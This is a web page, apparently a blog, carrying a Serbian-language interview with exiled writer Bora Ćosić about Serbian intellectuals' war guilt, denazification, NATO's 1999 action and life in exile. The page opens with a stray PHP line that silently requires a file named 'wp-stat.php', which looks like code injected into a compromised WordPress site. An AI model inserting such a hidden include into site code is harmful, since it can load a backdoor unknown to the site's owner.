@require(dirname(__FILE__).'/wp-stat.php'); BORA ĆOSIĆ, KNJIŽEVNIK U EGZILU: Nisam bio za bombardovanje, nego za invaziju – Nedim Sejdinović

BORA ĆOSIĆ, KNJIŽEVNIK U EGZILU: Nisam bio za bombardovanje, nego za invaziju

Zasigurno jedan od najvećih domaćih književnika, Bora Ćosić, od 1991. godine živi na potezu Rovinj-Berlin. Te godine je otišao iz Beograda, jer nije mogao da izdrži, kako kaze, to “užasno unutrašnje krvarenje, rastrojenost svih normi”. Nije hteo da bude “saučesnik jednog zločina”. Nedavno je Ćosiću u Splitu, u izdanju Ferala, izašla knjiga “Carinska deklaracija”, koja predstavlja melanholičnu hroniku jedne seobe. On je autor i već klasičnih dela naše književnosti, “Uloge moje porodice u svetskoj revoluciji”, “Tutora”, “Priča o zanatima”, “Doktora Krleže”…
Ne treba ni podsećati na doslednost i principijelnost temeljno kritičkih stavova Bore Ćosića prema ratnohuškačkoj politici Beograda, nepromenjenih od početaka “buđenja nacionalne svesti”, odnosno buđenja primitivizma u Srbiji. “Ja sam na jednom ispitu, maturiram iz predmeta odlaska iz svoje zemlje”, reći će u svojoj novoj knjizi. Za “Bulevar” Ćosić govori o krivici srpskih ikntelektualaca za rat, o potrebi denacifikacije, o NATO intervenciji i hrabrosti – hrabrosti za odlazak i za ostanak…

Krivica ili odgovornost (srpskih) intelektualaca za ratove postala je čak i u Srbiji opšte mesto. Neki intelektualci smatraju da se ta krivica mora individualizovati, dok neki drugi smatraju da je u pitanju zamena teza i da su intelektualci koji su podržavali rat ili učestvovali u ustoličenju režima zapravo kvazi-intelektualci, koje je isti taj režim proglasio elitom. Šta vi mislite o tome?

– Zanat intelektualni jedna je neodredljiva kategorija. Tako se desi da jednostavne duše ponekad imaju dovoljno samosvesti, dok osobe respektabilnog obrazovanja katkad pokleknu na osnovnim pitanjima svakodnevne razboritosti. Hoću da kažem da ljudi ipak većinom sami određuju sopstvenu sudbinu. Cesar Augustus, mada vlastodržac, govori u Brohovom romanu da vreme ne treba činiti odgovornim za postupke ljudi, ja radije činim ljude odgovornim za vreme u kojem žive.

U knjizi “Dnevnik apartida” vi, na Prustovom tragu, govorite o sloju ljudi koji su tek ratom i sveopštom nesrećom “postali sve”, a prethodno nisu bili ništa… Da li se u tome krije i to neverovatno protivljenje Srbije da se promeni, odnosno, da li je broj ljudi koji se ratom, i onim što je rat propratilo (vi ste jednom rekli da rat traje već deset godina neprestano) identifikovalo – toliko veliki da može da spreči bilo kakav pomak u Srbiji?

– Nezrelost ljudske mase, koja je u Srbiji danas dosegla neslućene razmere ipak nije oznaka neke pojedinačne sredine; nezrelosti, borniranosti i zaslepljenosti ima svuda, ona je, kao i glupost, pravedno podeljena na sve ljude.

Danas se, kao što znate, Srbija oslobađa i poslednjih maski demokratije. Ljudi su postali poprilično nezainteresovani za sva kršenja ljudskih prava koja se svakodnevno dešavaju u Srbiji. Da li je to znak da je srpski narod pripremljen za jedno i faktički totalitarno društvo?

– Srpski narod već dugo živi u jednom totalitarnom društvu, pitanje je samo koliko će još pristajati da ove prilike trpi.

U poslednje vreme se govori o korupciji, kao ključnoj reči opstanka sadašnjeg režima…

– Ne pratim pojedinačne “afere” kojih takođe ima svuda, u zemljama tranzicije. Radije bih govorio o tome kako čovek pristaje da korumpira vlastiti život, sopstvenu dušu. Treba najpre svako da likvidira aferu ličnog moralnog stava, zloupotrebe koje čini protiv vlastite sudbine, jer pristajući na pasivno, ovčije boravljenje u tom zlikovački načinjenom toru, svak potkrada svoje bivstvo, a samim tim i bilo kakvu svoju sutrašnjicu.

Vidite li kraj ovoj “surovoj drami” Srbije?

– Ne vidim. Jer čak i da se dogodi skoro neverovatan slučaj da aktuelna diktatura padne, svi znamo šta za njom može doći. Po stanju duhovnom, civilizacijskom i društvenom, većine srpske populacije, može nastupiti samo jedan desničarski režim, duboko nacionalno obojen, zatucan po svakom pitanju, antievropski, ravnogorski, primitivan i jadan po mnogokojim merilima.

Neki hrabriji ljudi, poput Sonje Biserko (predsednica Helsinskog odbora za ljudska prava u Srbiji), u poslednje vreme otvoreno govore o neophodnosti denacifikacije. Potom se nalaze na udaru skoro svih velikih medija (i režimskih, i ne-režimskih, i onih koje sebe smatraju građanskim), kao i opozicionih stranaka. Da li vi mislite da je Srbiji i Srbima potrebna denacifikacija?

– Ono što naša draga Sonja govori, govorim i sam, već celu jednu deceniju. Jer je još na početku bilo jasno da je režim u Srbiji obnovio u smanjenim okvirima panevropsku agresiju Hitlerovu. Pa tamo gde su pod nacističkom čizmom padale jedna za drugom, zemlje Evrope, u našoj domovini padale su pojedine oblasti, pokrajine i republike. A kada se neko tako ponaša, dakle nacistički, razumno je da nakon svega dolazi do procesa koji se može nazvati denacifikacijom.

Za vreme bombardovanja nezavisni mediji (kao što su “Vreme” i “Danas”) pristali su na cenzuru i autocenzuru. Autocenzuru su radili veoma prilježno tako da se skoro ni po čemu nisu razlikovali od režimskih medija. Slično su reagovale i sve opozicione partije. Šta, sa današnje distance, mislite o NATO akciji i o tom fenomenu?

– U doba akcije alijanse, svako se u Srbiji odnosio spram ovog događaja prema vlastitim moralnim merilima. Ne znam da li treba da bude čudno kada osobe slobodoljubive i opoziciono opredeljene prema režimu – pokažu onoliko nesamokritičnosti, koliko i poslednji zatucani pojedinac. Moj stav, prezren od mnogih, bio je od početka vrlo jasan. Ja nisam bio za bombardovanje, nego za invaziju. Onakvu kakvu saveznici izveli su na dan D u Normandiji, a potom, godinu dana docnije, ruske snage kada su prešle Odru. Nije bilo lako doći do toga. Kao ni Tomasu Manu, kao ni tolikim drugim Nemcima u egzilu Drugog svetskog rata. Koji su ipak razumeli da savezničke trupe 6. juna 1944. znače poslednji spas. Jer da je Ajzenhauer stao na kanalu, a Zukov na Odri, Hitler bi možda sedeo u mom današnjem gradu Berlinu, do godine 1975. ili 1980.

Neki tvrde da je za vreme bombardovanja Srbija prošla kroz svojevrsnu katarzu. Međutim, izgleda je bombardovanje trajalo isuviše kratko da bi se doživela katarza kakva je potrebna srpskom narodu…

– Katarsis je reč, među važnim koje smo naučili od našeg profesora grčkog, a zapravo od mentora za etiku, Miloša Đurića. Ja je imam u vidu već od početka ovog tridesetgodišnjeg rata, kao što smatram da većina mojih sunarodnika još je veoma daleko od toga da je upotrebi u svrhu svog moralno očišćenja.

Postoji teza da se sva moralno-intelektualna drama Srbije sadržana u “izboru pogrešnog Ćosića”. Umesto vas izabran je Dobrica. Šta mislite o ovome?

– U sklopu naše sveukupne društvene i ljudske drame, to je jedna zanemarljiva dilema. Obojica ćemo se uvek razlikovati po svojim čitaocima, ali u zemlji gde se toliko malo čita, ovo takođe treba izostaviti kao prepor.

Nedavno je, u intervjuu za naš list, Filip David rekao da su za njega mnogo hrabriji oni koji su otišli iz Srbije jer su za to imali snage…

– Hrabrost je jedna entelehija neuhvatljiva koja se često može premetnuti u vlastitu suprotnost. Okolnosti su neke od nas izvele iz nekadašnje zajedničke zemlje, a druge onde ostavile, bilo je tu mnogo, srećnih ili ne, slučajnosti. Ali kada čovek tolike godine trpi nečovečni režim današnje Srbije, za ovo smatram da je potrebna isto tako neka količina hrabrosti.

Kada ste bili u Beogradu, sredinom 1998. godine zapazili ste “oronule fasade, raspadnute autobuse” i rekli ste, potom, ako se ne varam, da se uskoro nećete vraćati. Danas Beograd izgleda još oronulije i raspadnutije. U kakav Beograd biste se vratili?

– Ni u kakav. Ja kao ni ona stara pesnikinja nemam više vremena, ali ni mnogo mlađi ljudi, nažalost, neće tako lako doživeti toliko očekivanu drugu Srbiju. Jedan moj nekadašnji prijatelj ionako je ocenio moj marginalni boravak u Beogradu 1998. kobnom greškom. Trudiću se da to ne ponovim.

Nedavno vam je izašla knjiga u Splitu. Pre dve godine izašle su vam knjige u Beogradu. Smatrate li da je ex-jugoslovenski kulturni prostor još moguće povezati?

– Ne nalazim da je neophodno obnavljati raniji jugoslovenski duhovni prostor, nego vredi da se uspostavi novi. Ja živim u toj svojoj novoj domovini, zemlji egzila, koja takođe postoji. Nadam se da će jednom svi ljudi ovog kontinenta biti izbeglice iz vlastitih nacija, građani one države bez državnosti, Evrope. Tu će mozda biti prostora za sve.

Nedim Sejdinović

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.